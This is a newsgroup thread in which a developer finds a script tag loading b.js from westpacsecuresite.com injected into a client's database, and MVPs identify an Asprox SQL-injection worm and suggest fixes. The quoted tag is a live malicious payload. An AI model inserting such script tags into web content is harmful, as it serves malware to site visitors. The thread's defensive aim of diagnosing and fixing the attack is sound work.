Virus? >script src=http://www.westpacsecuresite.com/b.js<>/script<

[michael]

Hi all

A client of mine is having a problem with their site and when I looked
into the SQL database, I found that most text fields have been altered
and appended with

script src=http://www.westpacsecuresite.com/b.js/script

I've taken out the < so that this shows.

Has anyone seen this? I've seen other sites on the net when I did a
google search.

http://www.google.com/search?q=%3Csc...e7&rlz=1I7GGLJ

Has my server been hacked? Any one seen this?

Thanks

[Mike Brind [MVP]]

<mi*****@lonelyprogrammer.comwrote in message
news:bc**********************************@m45g2000 hsb.googlegroups.com...

Hi all

A client of mine is having a problem with their site and when I looked
into the SQL database, I found that most text fields have been altered
and appended with

script src=http://www.westpacsecuresite.com/b.js/script

I've taken out the < so that this shows.

Has anyone seen this? I've seen other sites on the net when I did a
google search.

http://www.google.com/search?q=%3Csc...e7&rlz=1I7GGLJ

Has my server been hacked? Any one seen this?

Thanks

Yes, it's a SQL Injection attack that is intended to run scripts on the
computer of anyone who visits your client's site, which download a Trojan
called Asprox. This is nearly always the result of poor programming
practice - failure to validate user input, use parameters and/or HTMLEncode
any user supplied values that are written to a web page.

--
Mike Brind
Microsot MVP - ASP/ASP.NET

[=?Utf-8?B?T2xkIFBlZGFudA==?=]

Yep, you've received a nice SQL Injection attack.

So now you get to go through all your pages and find all the places where
you are accepting Request.QueryString and Request.Form values and start both
validating and sanitizing them.

Tedious and time consuming, but pretty easy. Just need to create some
sanitizing functions that you use all over the place.

I tend to use ones like this:

<%
Function SQLString( txt )
SQLString = "'" & Replace( txt, "'", "''" ) & "'"
End Function
Function SQLDate( dt )
If IsDate(dt) Then
dt = CDate(dt)
SQLDate = "'" & dt & "'"
Else
SQLDate = "NULL"
End If
End Function
Function SQLNumber( num )
If IsNumeric( num ) Then
SQLNumber = CSTR( CDBL( num ) )
Else
SQLNumber = "NULL"
End If
End Function
%>

And then you replace all your unprotected queries, such as
SQL = "UPDATE table SET foo = '" & foo & "' where id = " & id
with
SQL = "UPDATE table SET foo = " & SQLString(foo) & " WHERE id = " &
SQLNumber(id)

And so on.

[=?Utf-8?B?T2xkIFBlZGFudA==?=]

Oh, yeah...and as Mike poointed out, even all that won't protect you from
people putting <SCRIPTtags, etc., into (say) <TEXTAREAinput.

So unless you *NEED* to allow HTML in some text fields, use a regular
expression to strip it all out.

[=?Utf-8?B?TVU=?=]

Hi...

Is there a way for people to be able to get all the table names in your
database using SQL Injection Attacks?

I'm asking since the attacker was able to add SCRIPT tags to tables that
aren't really even used on pages any more.

Thoughts?

Thanks
MU
"Old Pedant" wrote:

Yep, you've received a nice SQL Injection attack.

So now you get to go through all your pages and find all the places where
you are accepting Request.QueryString and Request.Form values and start both
validating and sanitizing them.

Tedious and time consuming, but pretty easy. Just need to create some
sanitizing functions that you use all over the place.

I tend to use ones like this:

<%
Function SQLString( txt )
SQLString = "'" & Replace( txt, "'", "''" ) & "'"
End Function
Function SQLDate( dt )
If IsDate(dt) Then
dt = CDate(dt)
SQLDate = "'" & dt & "'"
Else
SQLDate = "NULL"
End If
End Function
Function SQLNumber( num )
If IsNumeric( num ) Then
SQLNumber = CSTR( CDBL( num ) )
Else
SQLNumber = "NULL"
End If
End Function
%>

And then you replace all your unprotected queries, such as
SQL = "UPDATE table SET foo = '" & foo & "' where id = " & id
with
SQL = "UPDATE table SET foo = " & SQLString(foo) & " WHERE id = " &
SQLNumber(id)

And so on.

[Mike Brind [MVP]]

Yes, it is possible. Grab a coffee:
http://www.ngssoftware.com/papers/ad..._injection.pdf

--
Mike Brind
MVP - ASP/ASP.NET

"MU" <[e-mail] in message
news:54**********************************@microsof t.com...

Hi...

Is there a way for people to be able to get all the table names in your
database using SQL Injection Attacks?

I'm asking since the attacker was able to add SCRIPT tags to tables that
aren't really even used on pages any more.

Thoughts?

Thanks
MU
"Old Pedant" wrote:

>Yep, you've received a nice SQL Injection attack.

So now you get to go through all your pages and find all the places where
you are accepting Request.QueryString and Request.Form values and start
both
validating and sanitizing them.

Tedious and time consuming, but pretty easy. Just need to create some
sanitizing functions that you use all over the place.

I tend to use ones like this:

<%
Function SQLString( txt )
SQLString = "'" & Replace( txt, "'", "''" ) & "'"
End Function
Function SQLDate( dt )
If IsDate(dt) Then
dt = CDate(dt)
SQLDate = "'" & dt & "'"
Else
SQLDate = "NULL"
End If
End Function
Function SQLNumber( num )
If IsNumeric( num ) Then
SQLNumber = CSTR( CDBL( num ) )
Else
SQLNumber = "NULL"
End If
End Function
%>

And then you replace all your unprotected queries, such as
SQL = "UPDATE table SET foo = '" & foo & "' where id = " & id
with
SQL = "UPDATE table SET foo = " & SQLString(foo) & " WHERE id = " &
SQLNumber(id)

And so on.

[Bob Barrows [MVP]]

The article cited by Mike is an excellent resource, but it fails to mention
the method used by the worm that attacked your system. You can read about it
in this link provided by Old Pedant:
http://isc.sans.org/diary.html?n&storyid=4294

This is a two-stage attack:
SQL Injection is used to determine database objects and insert the data the
bot wants to insert
Script Injection is used to cause client browsers to execute script injected
by the bot.

Here is my standard blurb about avoiding sql injection:
Your use of dynamic sql is leaving you vulnerable to hackers using sql
injection:
http://mvp.unixwiz.net/techtips/sql-injection.html
http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=23

See here for a better, more secure way to execute your queries by using
parameter markers/tokens:
http://groups-beta.google.com/group/...e36562fee7804e

Personally, I prefer using stored procedures, or saved parameter queries
as
they are known in Access:

Access:
http://www.google.com/groups?hl=en&l...TNGP12.phx.gbl

http://groups.google.com/groups?hl=e...tngp13.phx.gbl

SQL Server:

http://groups.google.com/group/micro...9dc1701?hl=en&
--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"

[=?Utf-8?B?TVU=?=]

Just an FYI I just looked at my log files (which I should have done in the
first place to see the point of entry) and the IP is 189.94.135.4 that is
hacking at the site.

He has a HUGE delcare statement in the URL post with a CAST function with
numbers. How can I convert the numbers in the CAST to see what he's trying
to do?

Thanks for all your help above.

MU
"Bob Barrows [MVP]" wrote:

The article cited by Mike is an excellent resource, but it fails to mention
the method used by the worm that attacked your system. You can read about it
in this link provided by Old Pedant:
http://isc.sans.org/diary.html?n&storyid=4294

This is a two-stage attack:
SQL Injection is used to determine database objects and insert the data the
bot wants to insert
Script Injection is used to cause client browsers to execute script injected
by the bot.

Here is my standard blurb about avoiding sql injection:
Your use of dynamic sql is leaving you vulnerable to hackers using sql
injection:
http://mvp.unixwiz.net/techtips/sql-injection.html
http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=23

See here for a better, more secure way to execute your queries by using
parameter markers/tokens:
http://groups-beta.google.com/group/...e36562fee7804e

Personally, I prefer using stored procedures, or saved parameter queries
as
they are known in Access:

Access:
http://www.google.com/groups?hl=en&l...TNGP12.phx.gbl

http://groups.google.com/groups?hl=e...tngp13.phx.gbl

SQL Server:

http://groups.google.com/group/micro...9dc1701?hl=en&
--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"

[Bob Barrows [MVP]]

Perhaps this will be helpful:
http://blogs.technet.com/neilcar/arc...rt-2-meat.aspx

MU wrote:

Just an FYI I just looked at my log files (which I should have done
in the
first place to see the point of entry) and the IP is 189.94.135.4
that is
hacking at the site.

He has a HUGE delcare statement in the URL post with a CAST function
with
numbers. How can I convert the numbers in the CAST to see what he's
trying
to do?

Thanks for all your help above.

MU
"Bob Barrows [MVP]" wrote:

>The article cited by Mike is an excellent resource, but it fails to
mention
the method used by the worm that attacked your system. You can read
about it
in this link provided by Old Pedant:
http://isc.sans.org/diary.html?n&storyid=4294

This is a two-stage attack:
SQL Injection is used to determine database objects and insert the
data the
bot wants to insert
Script Injection is used to cause client browsers to execute script
injected
by the bot.

Here is my standard blurb about avoiding sql injection:
Your use of dynamic sql is leaving you vulnerable to hackers using
sql
injection:
http://mvp.unixwiz.net/techtips/sql-injection.html
http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=23

See here for a better, more secure way to execute your queries by
using
parameter markers/tokens:
http://groups-beta.google.com/group/...e36562fee7804e

Personally, I prefer using stored procedures, or saved parameter
queries
as
they are known in Access:

Access:
http://www.google.com/groups?hl=en&l...TNGP12.phx.gbl

http://groups.google.com/groups?hl=e...tngp13.phx.gbl

SQL Server:

http://groups.google.com/group/micro...9dc1701?hl=en&
--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so
I
don't check it very often. If you must reply off-line, then remove
the "NO SPAM"

--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"